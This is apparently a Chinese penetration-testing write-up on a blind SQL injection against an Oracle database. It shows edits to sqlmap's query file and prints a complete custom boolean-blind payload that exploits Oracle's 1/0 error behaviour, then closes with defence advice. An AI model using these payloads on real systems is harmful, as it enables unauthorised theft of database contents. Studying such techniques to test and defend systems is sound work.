一次平平无奇的 Oracle 注入
字数 1001 2025-08-23 18:31:09
Oracle 数据库注入实战:从时间盲注到布尔盲注的优化
1. 注入点发现与初步确认
在某次渗透测试项目中,发现了一个Oracle数据库注入点,利用方式为时间盲注。初步确认要点:
- 数据库类型:Oracle
- 注入类型:时间盲注
- 初步工具尝试:Sqlmap可以识别该注入点
2. Sqlmap利用问题分析
当尝试使用Sqlmap进一步查询数据时,发现无法正常获取数据。通过代理流量分析发现:
常见查询语句报错
SELECT banner FROM v$version WHERE ROWNUM=1报错CAST(%s AS VARCHAR(4000))报错NVL(%s,' ')报错COUNT方法报错
问题原因
可能是数据库版本或配置原因导致标准查询方法不可用
3. Sqlmap payload修改方案
修改文件位置
data/xml/queries.xml 中的Oracle payload部分
关键修改点
- 将
count替换为sum(1) - 修正
current_db和current_user的payload(原文件中两者相同) - 替换所有会导致报错的数据库方法
修改示例
<!-- 修改前的count用法 -->
<count>COUNT(*)</count>
<!-- 修改后的count用法 -->
<count>sum(1)</count>
4. 时间盲注的效率问题
修改后的Sqlmap虽然可以跑数据,但存在以下问题:
- 时间盲注受网络波动和数据库响应影响
- 返回数据经常出错
- 效率极低,数据输出量少
5. 转换为布尔盲注的优化方案
利用发现的两个现象:
- 数据库报错时返回页面与正常情况不同
- Oracle数据库的1/0会报错特性(MySQL不会)
布尔盲注payload修改
文件位置:data/xml/payloads/boolean_blind.xml
添加以下payload:
<test>
<title>Oracle AND boolean-based blind - (custom)</title>
<stype>1</stype>
<level>1</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END)</vector>
<request>
<payload>AND [RANDNUM]=(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END)</payload>
</request>
<response>
<comparison>AND [RANDNUM]=(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END)</comparison>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
6. 最终效果
通过以上修改:
- 解决了标准查询方法报错问题
- 将时间盲注转换为更可靠的布尔盲注
- 大幅提高了数据获取效率和准确性
7. 关键经验总结
- 灵活调整工具:当标准工具无法直接使用时,需要分析原因并调整工具配置
- Oracle特性利用:充分利用Oracle的1/0报错特性实现布尔盲注
- 效率优化:时间盲注效率低下时,应考虑转换为其他注入方式
- 持续测试调整:需要根据返回结果不断调整SQL语句和payload
8. 防御建议
针对此类注入攻击,防御方应考虑:
- 严格过滤输入参数
- 使用参数化查询
- 限制数据库错误信息的返回
- 对关键系统函数进行访问控制